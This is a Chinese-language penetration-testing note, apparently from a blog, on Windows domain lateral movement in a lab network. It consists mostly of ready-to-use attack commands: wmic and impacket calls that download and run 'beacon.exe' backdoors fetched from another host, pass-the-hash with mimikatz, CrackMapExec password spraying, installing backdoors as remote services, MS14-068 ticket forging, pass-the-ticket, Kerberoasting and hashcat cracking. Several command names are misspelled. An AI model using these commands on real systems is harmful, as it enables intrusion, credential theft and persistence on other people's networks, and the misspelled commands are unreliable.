横向移动02

基于wmic的横向移动

本文章中的192.168.3.32是目标地址,就是靶机ip地址

条件:wmi服务开启,端口135,默认开启
     防火墙允许135、445等端口通信
     知道目标机的账户密码或HASH

内置(单执行)

shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#123  process call create "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"   //下载192.168.3.31的后门到192.168.3.32的c盘根目录下

shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#123 process call create "c:\beacon.exe"
/user:.\administrator   //会以为是外部本地计算机用户
/user:administator   //会以为是域用户

WMI外部:交互式&单执行

python wmiexec.py sqlserver/administrator:admin@[email protected]   //直接进入交互式shell
python wmiexec.py sqlserver/administrator:admin@[email protected] "whoami"   //单执行命令

python wmiexec.py --hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected] "whoami"   //通过hashes执行命令也可以进入交互shell1

下载后门
python wmiexec.py sqlserver/administrator:admin@[email protected] "certutil -urlcache -split -f http://example.com/exec.exe"

执行后门
python wmiexec.py sqlserver/administrator:admin@[email protected] "c:/beacon.exe"

基于wmiexec的横向移动

内置:(交互式不适用CS) 上传wmiexec.vbs

cscript  //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin@123   //上传vbs

基于psexec的横向移动

内部:(交互式windows官方工具) psexec下载地址

https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec \\192.168.3.32 -u administrator -p admin@123 -s cmd   //交互式shell,在cs中容易掉线

基于Dcom的横向移动

外部:(交互式 外人开发的工具)

使用DCOM分布式组件对象模型进行横向移动

适用于目标系统win7系统以上
管理员权限Powershell
远程主机防火墙未阻止
https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA
https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
python dcomeexec.py sqlserver/administrator:admin@[email protected]  //交互shell
python dcomexec.py sqlserver/administrator:admin@[email protected] "c:/beacon.exe"
python dcomexec.py --hashes :518b98ad4178a53695dc997aa02d455c sqlserver/[email protected] "whoami"  

基于WinRM的横向移动

WinRM代表windows远程管理,是一种允许管理员远程执行系统管理任务的服务,WinRS是内置的命令行工具,用于远程连接执行运行WinRM的服务器并执行大多数cmd命令

https://cloud.tencent.com/developer/article/1802241

利用条件:

1.win2012之前利用需要手动开启winRM,在win2012之后包括win2012的版本是默认开启的

2.防火墙对5986 5985端口开放

开启命令

winrm quichconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

1.探针使用

端口扫描5985

2.连接执行:通过winrm来远程命令

winrs -r:192.168.3.32 -192.168.3.32\administrator -p:admin!@#45  "whoami"

基于RDP 3389的横向移动

利用条件

端口扫描:3389
tasklist /svc | find "TermService" #找到对应服务进程的PID
netstat -ano | find "PID"   #找到进程对应的端口号

明文连接

mstsc  /console /v:192.168.3.32 /admin   //建立连接,32是目标ip地址

mimkata连接(HASH连接)

mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"   //使用这个登录目标3.32可以进行账号密码验证

SharpRDP明文连接

https://github.com/0xthirteen/SharpRDP
  SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

CrackMapExec密码喷射-横向移动

https://github.com/byt3bl33d3r/CrackMapExec
官方手册:https://www.crackmapexec.wiki/
下载对应release,建立socks连接,设置socks代理,配置规则,调用

1.Linux ProxyChains使用

建立代理,在cs上使用socks代理,然后配置文件写本地,然后填上cs上设置的端口
代理配置:ProxyChains.conf
代理调用:ProxyChains  命令

2.密码喷射-域用户登录PTH

主要参数:-u用户,-p密码,-H哈希值,-d指定域,-x执行命令
主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等
proxychains4 crackmapexec smb 192.168.3.21-35 -u user.txt -H 518b98ad4178a53695dc997aa02d455c  #对一个范围ip使用用户名字典+hash进行登录
proxychains4 crackmapexec smb 192.168.3.21-35 -u administrator -p "admin@123" --local-auth   #本地用户明文登录
proxychains4 crackmapexec smb 192.168.3.21-35 -u administrator -p "admin@123" --local-auth -x "whoami"   //测试回显whoami命令的就是成功登录的

基于PTH的哈希传递横向移动

pass the hash (哈希传递攻击,简称PTH)
pass the ticket (票据传递攻击,简称PTT)
pass the key (密钥传递攻击,简称PTK)
PTH(pass the hash) #利用lm或ntlm的值进行的渗透测试(NTML认证攻击)
PTK(pass the key)  #利用ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击f)

逻辑思路

明文传递->PTH(hash传递)->PTT(票据攻击)->PTK(AES)

LM :2000 xp 2003
NTLM:其他剩余机器

我们通过使用mimikatz来抓取明文密码的时候也可以看到是LM还是NTLM的hash值

之前的横向移动手段

横向移动02_第1张图片

1.Mimikatz利用直接的hash传递
mimikatz privilege::debug   //提升权限
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c   //使用hash和admininstrator来连接3.32
net use \\192.168.3.32\c$   //查看
dir \\192.168.3.32\c$    //获取c盘的内容
copy beacon.exe \\192.168.3.32\c$
sc \\sqlserver create bshell binpath="c:\beacon.exe"   //4.exe写为服务
sc \\sqlserver start bshell   //开启执行服务
2.利用hash转成ptt传递
3.利用hash进行暴力破解明文
平台:https://www.cmd5.com/
工具:https://hashcat.net/hashcat/

破解:

字典破解
hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c  pass.txt
hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c  --show //查看结果

暴力破解
?l小写
?s符号
?d数字
hashcat -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?s?s?d?d
4.修改注册表重启获取明文
5.PTT票据攻击

MS14-068

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/gentilkiwi/kekeo/releases
1.漏洞-MS14068(webadmin权限)利用漏洞生成的用户的新身份票据尝试认证MS14-168是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票证中插入任意PAC
该漏洞位于kdcsvc.dll域控制器的密钥分发中心KDC中,用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证
获取SID值:
shell whoami/user

生成票据文件:
shell ms14-168.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin@123

清除票据连接;
shell klist purge
内存导入票据:
mimikatz kerberos::ptc [email protected]
连接目标上线
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath="c:\\beacon.exe"   //创建和开启服务
sc \\OWA2010CN-GOD start bindshell

kekeo(高权限,需要NTLM)利用获取的NTLM生成的新的票据尝试认证因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用该方法类似于cookie欺骗

缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用
生成票据
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据:
shell kekeo "kerberos::ptt [email protected][email protected]" "exit"

查看票据:
shell klist
利用票据连接:
shell dir \\owa2010.cn-god\c$
注意:成功不成功看ntlm哈希值的正确性

mimikatz(高权限,需Ticket)利用历史遗留的票据重新认证尝试

导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberlsa::ptt
C:\Users\webadmin\Desktop\[0;22d3a][email protected]   //一般选择40开头的,如果不行换60的
查看票据
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$

Rubeus&Impacket(高权限,需Ticket)利用通讯的加密类型票据进行爆破明文 Kerberos利用条件:

采用rc4加密类型票据,工具Rubeus&impacket检测或看票据加密类型

Kerberoasting攻击的利用

服务票据的爆破,无脑运行即可

横向移动02_第2张图片

1.扫描

posershell setspn -T 0day.org -q */*
posershell setspn -T 0day.org -q */* | findstr "MYSQL"

2.检测加请求

Rubeus kerberoast
impackett-getuserspns
请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt
python GetUserSPNs.py -request -dc-ip 192.168.3.32 0day.org/jack:admin@123 -outputfile hash.txt
3.手工请求(要产生票据的文件)
powershell Add-type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

4.导出

mimikatz kerberos::list /export

4.破解

文件票据:pyton tgsrepcrack.py pass.txt "xx.kirbi"
HASH密文:hashcat -m 13100 hash.txt pass.txt --force

横向移动02_第3张图片

你可能感兴趣的:(横向移动02)